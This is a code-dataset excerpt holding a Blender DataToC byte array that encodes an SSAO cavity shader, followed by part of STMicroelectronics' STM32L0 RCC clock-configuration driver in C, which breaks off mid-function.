file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/66216.c
/* DataToC output of file <workbench_cavity_lib_glsl> */ extern int datatoc_workbench_cavity_lib_glsl_size; extern char datatoc_workbench_cavity_lib_glsl[]; int datatoc_workbench_cavity_lib_glsl_size = 2917; char datatoc_workbench_cavity_lib_glsl[] = { 13, 10, 13, 10, 47, 42, 32, 32,102,114,111,109, 32, 84,104,101, 32, 65,108, 99,104,101,109,121, 32,115, 99,114,101,101,110, 45,115,112, 97, 99,101, 32, 97,109, 98,105,101,110,116, 32,111, 98,115, 99,117,114, 97,110, 99,101, 32, 97,108,103,111,114,105,116,104,109, 13, 10, 32, 42, 32,104,116,116,112, 58, 47, 47,103,114, 97,112,104,105, 99,115, 46, 99,115, 46,119,105,108,108,105, 97,109,115, 46,101,100,117, 47,112, 97,112,101,114,115, 47, 65,108, 99,104,101,109,121, 72, 80, 71, 49, 49, 47, 86, 86, 49, 49, 65,108, 99,104,101,109,121, 65, 79, 46,112,100,102, 32, 42, 47, 13, 10, 13, 10,118,111,105,100, 32,115,115, 97,111, 95,102, 97, 99,116,111,114,115, 40, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32,105,110, 32,102,108,111, 97,116, 32,100,101,112,116,104, 44, 32,105,110, 32,118,101, 99, 51, 32,110,111,114,109, 97,108, 44, 32,105,110, 32,118,101, 99, 51, 32,112,111,115,105,116,105,111,110, 44, 32,105,110, 32,118,101, 99, 50, 32,115, 99,114,101,101,110, 99,111, 44, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32,111,117,116, 32,102,108,111, 97,116, 32, 99, 97,118,105,116,105,101,115, 44, 32,111,117,116, 32,102,108,111, 97,116, 32,101,100,103,101,115, 41, 13, 10,123, 13, 10, 9, 99, 97,118,105,116,105,101,115, 32, 61, 32,101,100,103,101,115, 32, 61, 32, 48, 46, 48, 59, 13, 10, 9, 47, 42, 32,101, 97,114,108,121, 32,111,117,116, 32,105,102, 32,116,104,101,114,101, 32,105,115, 32,110,111, 32,110,101,101,100, 32,102,111,114, 32, 83, 83, 65, 79, 32, 42, 47, 13, 10, 9,105,102, 32, 40,115,115, 97,111, 95,102, 97, 99,116,111,114, 95, 99, 97,118,105,116,121, 32, 61, 61, 32, 48, 46, 48, 32, 38, 38, 32,115,115, 97,111, 95,102, 97, 99,116,111,114, 95,101,100,103,101, 32, 61, 61, 32, 48, 46, 48, 41, 32,123, 13, 10, 9, 9,114,101,116,117,114,110, 59, 13, 10, 9,125, 13, 10, 13, 10, 9, 47, 42, 32,116, 97,107,101, 32,116,104,101, 32,110,111,114,109, 97,108,105,122,101,100, 32,114, 97,121, 32,100,105,114,101, 99,116,105,111,110, 32,104,101,114,101, 32, 42, 47, 13, 10, 9,118,101, 99, 51, 32,110,111,105,115,101, 32, 61, 32,116,101,120,116,117,114,101, 40,115,115, 97,111, 95,106,105,116,116,101,114, 44, 32,115, 99,114,101,101,110, 99,111, 46,120,121, 32, 42, 32,106,105,116,116,101,114, 95,116,105,108,108,105,110,103, 41, 46,114,103, 98, 59, 13, 10, 13, 10, 9, 47, 42, 32,102,105,110,100, 32,116,104,101, 32,111,102,102,115,101,116, 32,105,110, 32,115, 99,114,101,101,110, 32,115,112, 97, 99,101, 32, 98,121, 32,109,117,108,116,105,112,108,121,105,110,103, 32, 97, 32,112,111,105,110,116, 13, 10, 9, 32, 42, 32,105,110, 32, 99, 97,109,101,114, 97, 32,115,112, 97, 99,101, 32, 97,116, 32,116,104,101, 32,100,101,112,116,104, 32,111,102, 32,116,104,101, 32,112,111,105,110,116, 32, 98,121, 32,116,104,101, 32,112,114,111,106,101, 99,116,105,111,110, 32,109, 97,116,114,105,120, 46, 32, 42, 47, 13, 10, 9,118,101, 99, 50, 32,111,102,102,115,101,116, 59, 13, 10, 9,102,108,111, 97,116, 32,104,111,109, 99,111,111,114,100, 32, 61, 32, 87,105,110, 77, 97,116,114,105,120, 91, 50, 93, 91, 51, 93, 32, 42, 32,112,111,115,105,116,105,111,110, 46,122, 32, 43, 32, 87,105,110, 77, 97,116,114,105,120, 91, 51, 93, 91, 51, 93, 59, 13, 10, 9,111,102,102,115,101,116, 46,120, 32, 61, 32, 87,105,110, 77, 97,116,114,105,120, 91, 48, 93, 91, 48, 93, 32, 42, 32,115,115, 97,111, 95,100,105,115,116, 97,110, 99,101, 32, 47, 32,104,111,109, 99,111,111,114,100, 59, 13, 10, 9,111,102,102,115,101,116, 46,121, 32, 61, 32, 87,105,110, 77, 97,116,114,105,120, 91, 49, 93, 91, 49, 93, 32, 42, 32,115,115, 97,111, 95,100,105,115,116, 97,110, 99,101, 32, 47, 32,104,111,109, 99,111,111,114,100, 59, 13, 10, 9, 47, 42, 32, 99,111,110,118,101,114,116, 32,102,114,111,109, 32, 45, 49, 46, 48, 46, 46, 46, 49, 46, 48, 32,114, 97,110,103,101, 32,116,111, 32, 48, 46, 48, 46, 46, 49, 46, 48, 32,102,111,114, 32,101, 97,115,121, 32,117,115,101, 32,119,105,116,104, 32,116,101,120,116,117,114,101, 32, 99,111,111,114,100,105,110, 97,116,101,115, 32, 42, 47, 13, 10, 9,111,102,102,115,101,116, 32, 42, 61, 32, 48, 46, 53, 59, 13, 10, 13, 10, 13, 10, 9,105,110,116, 32,110,117,109, 95,115, 97,109,112,108,101,115, 32, 61, 32,105,110,116, 40,115,115, 97,111, 95,115, 97,109,112,108,101,115, 95,110,117,109, 41, 59, 13, 10, 13, 10, 9, 47, 42, 32, 78,111,116,101, 46, 32, 80,117,116,116,105,110,103, 32,110,111,105,115,101, 32,117,115, 97,103,101, 32,104,101,114,101, 32,116,111, 32,112,117,116, 32,115,111,109,101, 32, 65, 76, 85, 32, 97,102,116,101,114, 32,116,101,120,116,117,114,101, 32,102,101,116, 99,104, 46, 32, 42, 47, 13, 10, 9,118,101, 99, 50, 32,114,111,116, 88, 32, 61, 32,110,111,105,115,101, 46,114,103, 59, 13, 10, 9,118,101, 99, 50, 32,114,111,116, 89, 32, 61, 32,118,101, 99, 50, 40, 45,114,111,116, 88, 46,121, 44, 32,114,111,116, 88, 46,120, 41, 59, 13, 10, 13, 10, 9,102,111,114, 32, 40,105,110,116, 32,120, 32, 61, 32, 48, 59, 32,120, 32, 60, 32,110,117,109, 95,115, 97,109,112,108,101,115, 59, 32,120, 43, 43, 41, 32,123, 13, 10, 9, 9,105,110,116, 32,115, 97,109,112,108,101, 95,105,110,100,101,120, 32, 61, 32,120, 32, 43, 32, 40,105,110,116, 40,115,115, 97,111, 95,105,116,101,114, 97,116,105,111,110, 41, 32, 42, 32,110,117,109, 95,115, 97,109,112,108,101,115, 41, 59, 13, 10, 9, 9,105,102, 32, 40,115, 97,109,112,108,101, 95,105,110,100,101,120, 32, 62, 32, 53, 48, 48, 41, 32,123, 13, 10, 9, 9, 9, 99,111,110,116,105,110,117,101, 59, 13, 10, 9, 9,125, 13, 10, 9, 9, 47, 42, 32,115,115, 97,111, 95,115, 97,109,112,108,101,115, 91,120, 93, 46,120,121, 32,105,115, 32,115, 97,109,112,108,101, 32,100,105,114,101, 99,116,105,111,110, 32, 40,110,111,114,109, 97,108,105,122,101,100, 41, 46, 13, 10, 9, 9, 32, 42, 32,115,115, 97,111, 95,115, 97,109,112,108,101,115, 91,120, 93, 46,122, 32,105,115, 32,115, 97,109,112,108,101, 32,100,105,115,116, 97,110, 99,101, 32,102,114,111,109, 32,100,105,115,107, 32, 99,101,110,116,101,114, 46, 32, 42, 47, 13, 10, 13, 10, 9, 9, 47, 42, 32, 82,111,116, 97,116,101, 32,119,105,116,104, 32,114, 97,110,100,111,109, 32,100,105,114,101, 99,116,105,111,110, 32,116,111, 32,103,101,116, 32,106,105,116,116,101,114,101,100, 32,114,101,115,117,108,116, 46, 32, 42, 47, 13, 10, 9, 9,118,101, 99, 50, 32,100,105,114, 95,106,105,116,116,101,114,101,100, 32, 61, 32,118,101, 99, 50, 40,100,111,116, 40,115,115, 97,111, 95,115, 97,109,112,108,101,115, 91,115, 97,109,112,108,101, 95,105,110,100,101,120, 93, 46,120,121, 44, 32,114,111,116, 88, 41, 44, 32,100,111,116, 40,115,115, 97,111, 95,115, 97,109,112,108,101,115, 91,115, 97,109,112,108,101, 95,105,110,100,101,120, 93, 46,120,121, 44, 32,114,111,116, 89, 41, 41, 59, 13, 10, 9, 9,100,105,114, 95,106,105,116,116,101,114,101,100, 46,120,121, 32, 42, 61, 32,115,115, 97,111, 95,115, 97,109,112,108,101,115, 91,115, 97,109,112,108,101, 95,105,110,100,101,120, 93, 46,122, 32, 43, 32,110,111,105,115,101, 46, 98, 59, 13, 10, 13, 10, 9, 9,118,101, 99, 50, 32,117,118, 99,111,111,114,100,115, 32, 61, 32,115, 99,114,101,101,110, 99,111, 46,120,121, 32, 43, 32,100,105,114, 95,106,105,116,116,101,114,101,100, 32, 42, 32,111,102,102,115,101,116, 59, 13, 10, 13, 10, 9, 9,105,102, 32, 40,117,118, 99,111,111,114,100,115, 46,120, 32, 62, 32, 49, 46, 48, 32,124,124, 32,117,118, 99,111,111,114,100,115, 46,120, 32, 60, 32, 48, 46, 48, 32,124,124, 32,117,118, 99,111,111,114,100,115, 46,121, 32, 62, 32, 49, 46, 48, 32,124,124, 32,117,118, 99,111,111,114,100,115, 46,121, 32, 60, 32, 48, 46, 48, 41, 32,123, 13, 10, 9, 9, 9, 99,111,110,116,105,110,117,101, 59, 13, 10, 9, 9,125, 13, 10, 13, 10, 9, 9,102,108,111, 97,116, 32,100,101,112,116,104, 95,110,101,119, 32, 61, 32,116,101,120,116,117,114,101, 40,100,101,112,116,104, 66,117,102,102,101,114, 44, 32,117,118, 99,111,111,114,100,115, 41, 46,114, 59, 13, 10, 13, 10, 9, 9, 47, 42, 32, 72, 97,110,100,108,101, 32, 66, 97, 99,107,103,114,111,117,110,100, 32, 99, 97,115,101, 32, 42, 47, 13, 10, 9, 9, 98,111,111,108, 32,105,115, 95, 98, 97, 99,107,103,114,111,117,110,100, 32, 61, 32, 40,100,101,112,116,104, 95,110,101,119, 32, 61, 61, 32, 49, 46, 48, 41, 59, 13, 10, 13, 10, 9, 9, 47, 42, 32, 84,104,105,115, 32,116,114,105, 99,107, 32,112,114,111,118,105,100,101, 32,103,111,111,100, 32,101,100,103,101, 32,101,102,102,101, 99,116, 32,101,118,101,110, 32,105,102, 32,110,111, 32,110,101,105,103,104, 98,111,111,114, 32,105,115, 32,102,111,117,110,100, 46, 32, 42, 47, 13, 10, 9, 9,118,101, 99, 51, 32,112,111,115, 95,110,101,119, 32, 61, 32,103,101,116, 95,118,105,101,119, 95,115,112, 97, 99,101, 95,102,114,111,109, 95,100,101,112,116,104, 40,117,118, 99,111,111,114,100,115, 44, 32, 40,105,115, 95, 98, 97, 99,107,103,114,111,117,110,100, 41, 32, 63, 32,100,101,112,116,104, 32, 58, 32,100,101,112,116,104, 95,110,101,119, 41, 59, 13, 10, 13, 10, 9, 9,105,102, 32, 40,105,115, 95, 98, 97, 99,107,103,114,111,117,110,100, 41, 32,123, 13, 10, 9, 9, 9,112,111,115, 95,110,101,119, 46,122, 32, 45, 61, 32,115,115, 97,111, 95,100,105,115,116, 97,110, 99,101, 59, 13, 10, 9, 9,125, 13, 10, 13, 10, 9, 9,118,101, 99, 51, 32,100,105,114, 32, 61, 32,112,111,115, 95,110,101,119, 32, 45, 32,112,111,115,105,116,105,111,110, 59, 13, 10, 9, 9,102,108,111, 97,116, 32,108,101,110, 32, 61, 32,108,101,110,103,116,104, 40,100,105,114, 41, 59, 13, 10, 9, 9,102,108,111, 97,116, 32,102, 95, 99, 97,118,105,116,105,101,115, 32, 61, 32,100,111,116, 40,100,105,114, 44, 32,110,111,114,109, 97,108, 41, 59, 13, 10, 9, 9,102,108,111, 97,116, 32,102, 95,101,100,103,101, 32, 61, 32, 45,102, 95, 99, 97,118,105,116,105,101,115, 59, 13, 10, 9, 9,102,108,111, 97,116, 32,102, 95, 98,105, 97,115, 32, 61, 32, 48, 46, 48, 53, 32, 42, 32,108,101,110, 32, 43, 32, 48, 46, 48, 48, 48, 49, 59, 13, 10, 13, 10, 9, 9,102,108,111, 97,116, 32, 97,116,116,101,110,117, 97,116,105,111,110, 32, 61, 32, 49, 46, 48, 32, 47, 32, 40,108,101,110, 32, 42, 32, 40, 49, 46, 48, 32, 43, 32,108,101,110, 32, 42, 32,108,101,110, 32, 42, 32,115,115, 97,111, 95, 97,116,116,101,110,117, 97,116,105,111,110, 41, 41, 59, 13, 10, 13, 10, 9, 9, 47, 42, 32,117,115,101, 32,109,105,110,111,114, 32, 98,105, 97,115, 32,104,101,114,101, 32,116,111, 32, 97,118,111,105,100, 32,115,101,108,102, 32,115,104, 97,100,111,119,105,110,103, 32, 42, 47, 13, 10, 9, 9,105,102, 32, 40,102, 95, 99, 97,118,105,116,105,101,115, 32, 62, 32, 45,102, 95, 98,105, 97,115, 41, 32,123, 13, 10, 9, 9, 9, 99, 97,118,105,116,105,101,115, 32, 43, 61, 32,102, 95, 99, 97,118,105,116,105,101,115, 32, 42, 32, 97,116,116,101,110,117, 97,116,105,111,110, 59, 13, 10, 9, 9,125, 13, 10, 13, 10, 9, 9,105,102, 32, 40,102, 95,101,100,103,101, 32, 62, 32,102, 95, 98,105, 97,115, 41, 32,123, 13, 10, 9, 9, 9,101,100,103,101,115, 32, 43, 61, 32,102, 95,101,100,103,101, 32, 42, 32, 97,116,116,101,110,117, 97,116,105,111,110, 59, 13, 10, 9, 9,125, 13, 10, 9,125, 13, 10, 13, 10, 9, 99, 97,118,105,116,105,101,115, 32, 47, 61, 32,115,115, 97,111, 95,115, 97,109,112,108,101,115, 95,110,117,109, 59, 13, 10, 9,101,100,103,101,115, 32, 47, 61, 32,115,115, 97,111, 95,115, 97,109,112,108,101,115, 95,110,117,109, 59, 13, 10, 13, 10, 9, 47, 42, 32,100,111,110, 39,116, 32,108,101,116, 32, 99, 97,118,105,116,121, 32,119, 97,115,104, 32,111,117,116, 32,116,104,101, 32,115,117,114,102, 97, 99,101, 32, 97,112,112,101, 97,114, 97,110, 99,101, 32, 42, 47, 13, 10, 9, 99, 97,118,105,116,105,101,115, 32, 61, 32, 99,108, 97,109,112, 40, 99, 97,118,105,116,105,101,115, 32, 42, 32,115,115, 97,111, 95,102, 97, 99,116,111,114, 95, 99, 97,118,105,116,121, 44, 32, 48, 46, 48, 44, 32, 49, 46, 48, 41, 59, 13, 10, 9,101,100,103,101,115, 32, 61, 32,101,100,103,101,115, 32, 42, 32,115,115, 97,111, 95,102, 97, 99,116,111,114, 95,101,100,103,101, 59, 13, 10,125, 13, 10,0 };
the_stack_data/43803.c
/** ****************************************************************************** * @file stm32l0xx_ll_rcc.c * @author MCD Application Team * @version V1.6.0 * @date 15-April-2016 * @brief RCC LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2016 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32l0xx_ll_rcc.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /* USE_FULL_ASSERT */ /** @addtogroup STM32L0xx_LL_Driver * @{ */ #if defined(RCC) /** @defgroup RCC_LL RCC * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /* Private macros ------------------------------------------------------------*/ /** @addtogroup RCC_LL_Private_Macros * @{ */ #if defined(RCC_CCIPR_USART1SEL) && defined(RCC_CCIPR_USART2SEL) #define IS_LL_RCC_USART_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_USART1_CLKSOURCE) \ || ((__VALUE__) == LL_RCC_USART2_CLKSOURCE)) #elif defined(RCC_CCIPR_USART1SEL) && !defined(RCC_CCIPR_USART2SEL) #define IS_LL_RCC_USART_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_USART1_CLKSOURCE)) #else #define IS_LL_RCC_USART_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_USART2_CLKSOURCE)) #endif /* RCC_CCIPR_USART1SEL && RCC_CCIPR_USART2SEL */ #define IS_LL_RCC_LPUART_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_LPUART1_CLKSOURCE)) #if defined(RCC_CCIPR_I2C3SEL) #define IS_LL_RCC_I2C_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_I2C1_CLKSOURCE) \ || ((__VALUE__) == LL_RCC_I2C3_CLKSOURCE)) #else #define IS_LL_RCC_I2C_CLKSOURCE(__VALUE__) ((__VALUE__) == LL_RCC_I2C1_CLKSOURCE) #endif /* RCC_CCIPR_I2C3SEL */ #define IS_LL_RCC_LPTIM_CLKSOURCE(__VALUE__) ((__VALUE__) == LL_RCC_LPTIM1_CLKSOURCE) #if defined(USB) #define IS_LL_RCC_USB_CLKSOURCE(__VALUE__) (((__VALUE__) == LL_RCC_USB_CLKSOURCE)) #endif /* USB */ /** * @} */ /* Private function prototypes -----------------------------------------------*/ /** @defgroup RCC_LL_Private_Functions RCC Private functions * @{ */ uint32_t RCC_GetSystemClockFreq(void); uint32_t RCC_GetHCLKClockFreq(uint32_t SYSCLK_Frequency); uint32_t RCC_GetPCLK1ClockFreq(uint32_t HCLK_Frequency); uint32_t RCC_GetPCLK2ClockFreq(uint32_t HCLK_Frequency); uint32_t RCC_PLL_GetFreqDomain_SYS(void); /** * @} */ /* Exported functions --------------------------------------------------------*/ /** @addtogroup RCC_LL_Exported_Functions * @{ */ /** @addtogroup RCC_LL_EF_Init * @{ */ /** * @brief Reset the RCC clock configuration to the default reset state. * @note The default reset state of the clock configuration is given below: * - MSI ON and used as system clock source * - HSE, HSI and PLL OFF * - AHB, APB1 and APB2 prescaler set to 1. * - CSS, MCO OFF * - All interrupts disabled * @note This function doesn't modify the configuration of the * - Peripheral clocks * - LSI, LSE and RTC clocks * @retval An ErrorStatus enumeration value: * - SUCCESS: RCC registers are de-initialized * - ERROR: not applicable */ ErrorStatus LL_RCC_DeInit(void) { uint32_t vl_mask = 0U; /* Set MSION bit */ LL_RCC_MSI_Enable(); /* Insure MSIRDY bit is set before writing default MSIRANGE value */ while (LL_RCC_MSI_IsReady() == 0U) { __NOP(); } /* Set MSIRANGE default value */ LL_RCC_MSI_SetRange(LL_RCC_MSIRANGE_5); /* Set MSITRIM bits to the reset value*/ LL_RCC_MSI_SetCalibTrimming(0U); /* Set HSITRIM bits to the reset value*/ LL_RCC_HSI_SetCalibTrimming(0x10U); /* Reset SW, HPRE, PPRE and MCOSEL bits */ vl_mask = 0xFFFFFFFFU; CLEAR_BIT(vl_mask, (RCC_CFGR_SW | RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2 | RCC_CFGR_MCOSEL)); LL_RCC_WriteReg(CFGR, vl_mask); /* Reset HSI, HSE, PLL */ vl_mask = LL_RCC_ReadReg(CR); #if defined(RCC_CR_HSIOUTEN) CLEAR_BIT(vl_mask, RCC_CR_HSION| RCC_CR_HSIKERON| RCC_CR_HSIDIVEN | RCC_CR_HSIOUTEN | \ RCC_CR_HSEON | RCC_CR_PLLON); #else CLEAR_BIT(vl_mask, RCC_CR_HSION| RCC_CR_HSIKERON| RCC_CR_HSIDIVEN | \ RCC_CR_HSEON | RCC_CR_PLLON); #endif LL_RCC_WriteReg(CR, vl_mask); /* Delay after an RCC peripheral clock */ vl_mask = LL_RCC_ReadReg(CR); /* Reset HSEBYP bit */ LL_RCC_HSE_DisableBypass(); /* Set RCC_CR_RTCPRE to 0b00*/ CLEAR_BIT(vl_mask, RCC_CR_RTCPRE); LL_RCC_WriteReg(CR, vl_mask); /* Reset CFGR register */ LL_RCC_WriteReg(CFGR, 0x00000000U); #if defined(RCC_HSI48_SUPPORT) /* Reset CRRCR register */ LL_RCC_WriteReg(CRRCR, 0x00000000U); /* Disable HSI48 */ LL_RCC_HSI48_Disable(); #endif /*RCC_HSI48_SUPPORT*/ /* Disable all interrupts */ LL_RCC_WriteReg(CIER, 0x00000000U); return SUCCESS; } /** * @} */ /** @addtogroup RCC_LL_EF_Get_Freq * @brief Return the frequencies of different on chip clocks; System, AHB, APB1 and APB2 buses clocks * and different peripheral clocks available on the device. * @note If SYSCLK source is MSI, function returns values based on MSI clock(*) * @note If SYSCLK source is HSI, function returns values based on HSI_VALUE(**) * @note If SYSCLK source is HSE, function returns values based on HSE_VALUE(***) * @note If SYSCLK source is PLL, function returns values based on * HSI_VALUE(**) or HSE_VALUE(***) multiplied/divided by the PLL factors. * @note (*) MSI clock depends on the selected MSI range but the real value * may vary depending on the variations in voltage and temperature. * @note (**) HSI_VALUE is a defined constant but the real value may vary * depending on the variations in voltage and temperature. * @note (***) HSE_VALUE is a defined constant, user has to ensure that * HSE_VALUE is same as the real frequency of the crystal used. * Otherwise, this function may have wrong result. * @note The result of this function could be incorrect when using fractional * value for HSE crystal. * @note This function can be used by the user application to compute the * baud-rate for the communication peripherals or configure other parameters. * @{ */ /** * @brief Return the frequencies of different on chip clocks; System, AHB, APB1 and APB2 buses clocks * @note Each time SYSCLK, HCLK, PCLK1 and/or PCLK2 clock changes, this function * must be called to update structure fields. Otherwise, any * configuration based on this function will be incorrect. * @param RCC_Clocks pointer to a @ref LL_RCC_ClocksTypeDef structure which will hold the clocks frequencies * @retval None */ void LL_RCC_GetSystemClocksFreq(LL_RCC_ClocksTypeDef *RCC_Clocks) { /* Get SYSCLK frequency */ RCC_Clocks->SYSCLK_Frequency = RCC_GetSystemClockFreq(); /* HCLK clock frequency */ RCC_Clocks->HCLK_Frequency = RCC_GetHCLKClockFreq(RCC_Clocks->SYSCLK_Frequency); /* PCLK1 clock frequency */ RCC_Clocks->PCLK1_Frequency = RCC_GetPCLK1ClockFreq(RCC_Clocks->HCLK_Frequency); /* PCLK2 clock frequency */ RCC_Clocks->PCLK2_Frequency = RCC_GetPCLK2ClockFreq(RCC_Clocks->HCLK_Frequency); } /** * @brief Return USARTx clock frequency * @param USARTxSource This parameter can be one of the following values: * @arg @ref LL_RCC_USART1_CLKSOURCE * @arg @ref LL_RCC_USART2_CLKSOURCE (*) * * (*) value not defined in all devices. * @retval USART clock frequency (in Hz) * @arg @ref LL_RCC_PERIPH_FREQUENCY_NO indicates that oscillator (HSI or LSE) is not ready */ uint32_t LL_RCC_GetUSARTClockFreq(uint32_t USARTxSource) { uint32_t usart_frequency = LL_RCC_PERIPH_FREQUENCY_NO; /* Check parameter */ assert_param(IS_LL_RCC_USART_CLKSOURCE(USARTxSource)); #if defined(RCC_CCIPR_USART1SEL) if (USARTxSource == LL_RCC_USART1_CLKSOURCE) { /* USART1CLK clock frequency */ switch (LL_RCC_GetUSARTClockSource(USARTxSource)) { case LL_RCC_USART1_CLKSOURCE_SYSCLK: /* USART1 Clock is System Clock */ usart_frequency = RCC_GetSystemClockFreq(); break; case LL_RCC_USART1_CLKSOURCE_HSI: /* USART1 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { usart_frequency = HSI_VALUE; } break; case LL_RCC_USART1_CLKSOURCE_LSE: /* USART1 Clock is LSE Osc. */ if (LL_RCC_LSE_IsReady()) { usart_frequency = LSE_VALUE; } break; case LL_RCC_USART1_CLKSOURCE_PCLK2: /* USART1 Clock is PCLK2 */ default: usart_frequency = RCC_GetPCLK2ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } } #endif /* RCC_CCIPR_USART1SEL */ #if defined(RCC_CCIPR_USART2SEL) if (USARTxSource == LL_RCC_USART2_CLKSOURCE) { /* USART2CLK clock frequency */ switch (LL_RCC_GetUSARTClockSource(USARTxSource)) { case LL_RCC_USART2_CLKSOURCE_SYSCLK: /* USART2 Clock is System Clock */ usart_frequency = RCC_GetSystemClockFreq(); break; case LL_RCC_USART2_CLKSOURCE_HSI: /* USART2 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { usart_frequency = HSI_VALUE; } break; case LL_RCC_USART2_CLKSOURCE_LSE: /* USART2 Clock is LSE Osc. */ if (LL_RCC_LSE_IsReady()) { usart_frequency = LSE_VALUE; } break; case LL_RCC_USART2_CLKSOURCE_PCLK1: /* USART2 Clock is PCLK1 */ default: usart_frequency = RCC_GetPCLK1ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } } #endif /* RCC_CCIPR_USART2SEL */ return usart_frequency; } /** * @brief Return I2Cx clock frequency * @param I2CxSource This parameter can be one of the following values: * @arg @ref LL_RCC_I2C1_CLKSOURCE * @arg @ref LL_RCC_I2C3_CLKSOURCE (*) * * (*) value not defined in all devices * @retval I2C clock frequency (in Hz) * @arg @ref LL_RCC_PERIPH_FREQUENCY_NO indicates that HSI oscillator is not ready */ uint32_t LL_RCC_GetI2CClockFreq(uint32_t I2CxSource) { uint32_t i2c_frequency = LL_RCC_PERIPH_FREQUENCY_NO; /* Check parameter */ assert_param(IS_LL_RCC_I2C_CLKSOURCE(I2CxSource)); /* I2C1 CLK clock frequency */ if (I2CxSource == LL_RCC_I2C1_CLKSOURCE) { switch (LL_RCC_GetI2CClockSource(I2CxSource)) { case LL_RCC_I2C1_CLKSOURCE_SYSCLK: /* I2C1 Clock is System Clock */ i2c_frequency = RCC_GetSystemClockFreq(); break; case LL_RCC_I2C1_CLKSOURCE_HSI: /* I2C1 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { i2c_frequency = HSI_VALUE; } break; case LL_RCC_I2C1_CLKSOURCE_PCLK1: /* I2C1 Clock is PCLK1 */ default: i2c_frequency = RCC_GetPCLK1ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } } #if defined(RCC_CCIPR_I2C3SEL) /* I2C3 CLK clock frequency */ if (I2CxSource == LL_RCC_I2C3_CLKSOURCE) { switch (LL_RCC_GetI2CClockSource(I2CxSource)) { case LL_RCC_I2C3_CLKSOURCE_SYSCLK: /* I2C3 Clock is System Clock */ i2c_frequency = RCC_GetSystemClockFreq(); break; case LL_RCC_I2C3_CLKSOURCE_HSI: /* I2C3 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { i2c_frequency = HSI_VALUE; } break; case LL_RCC_I2C3_CLKSOURCE_PCLK1: /* I2C3 Clock is PCLK1 */ default: i2c_frequency = RCC_GetPCLK1ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } } #endif /*RCC_CCIPR_I2C3SEL*/ return i2c_frequency; } /** * @brief Return LPUARTx clock frequency * @param LPUARTxSource This parameter can be one of the following values: * @arg @ref LL_RCC_LPUART1_CLKSOURCE * @retval LPUART clock frequency (in Hz) * @arg @ref LL_RCC_PERIPH_FREQUENCY_NO indicates that oscillator (HSI or LSE) is not ready */ uint32_t LL_RCC_GetLPUARTClockFreq(uint32_t LPUARTxSource) { uint32_t lpuart_frequency = LL_RCC_PERIPH_FREQUENCY_NO; /* Check parameter */ assert_param(IS_LL_RCC_LPUART_CLKSOURCE(LPUARTxSource)); /* LPUART1CLK clock frequency */ switch (LL_RCC_GetLPUARTClockSource(LPUARTxSource)) { case LL_RCC_LPUART1_CLKSOURCE_SYSCLK: /* LPUART1 Clock is System Clock */ lpuart_frequency = RCC_GetSystemClockFreq(); break; case LL_RCC_LPUART1_CLKSOURCE_HSI: /* LPUART1 Clock is HSI Osc. */ if (LL_RCC_HSI_IsReady()) { lpuart_frequency = HSI_VALUE; } break; case LL_RCC_LPUART1_CLKSOURCE_LSE: /* LPUART1 Clock is LSE Osc. */ if (LL_RCC_LSE_IsReady()) { lpuart_frequency = LSE_VALUE; } break; case LL_RCC_LPUART1_CLKSOURCE_PCLK1: /* LPUART1 Clock is PCLK1 */ default: lpuart_frequency = RCC_GetPCLK1ClockFreq(RCC_GetHCLKClockFreq(RCC_GetSystemClockFreq())); break; } return lpuart_frequency; } /** * @brief Return LPTIMx clock frequency * @param LPTIMxSource This parameter can be one of the following values: * @arg @ref LL_RCC_LPTIM1_CLKSOURCE * @retval LPTIM clock frequency (in Hz) * @arg @ref LL_RCC_PERIPH_FREQUENCY_NO indicates that oscillator (HSI or LSE) is not ready */ uint32_t LL_RCC_GetLPTIMClockFreq(uint32_t LPTIMxSource) { uint32_t lptim_frequency = 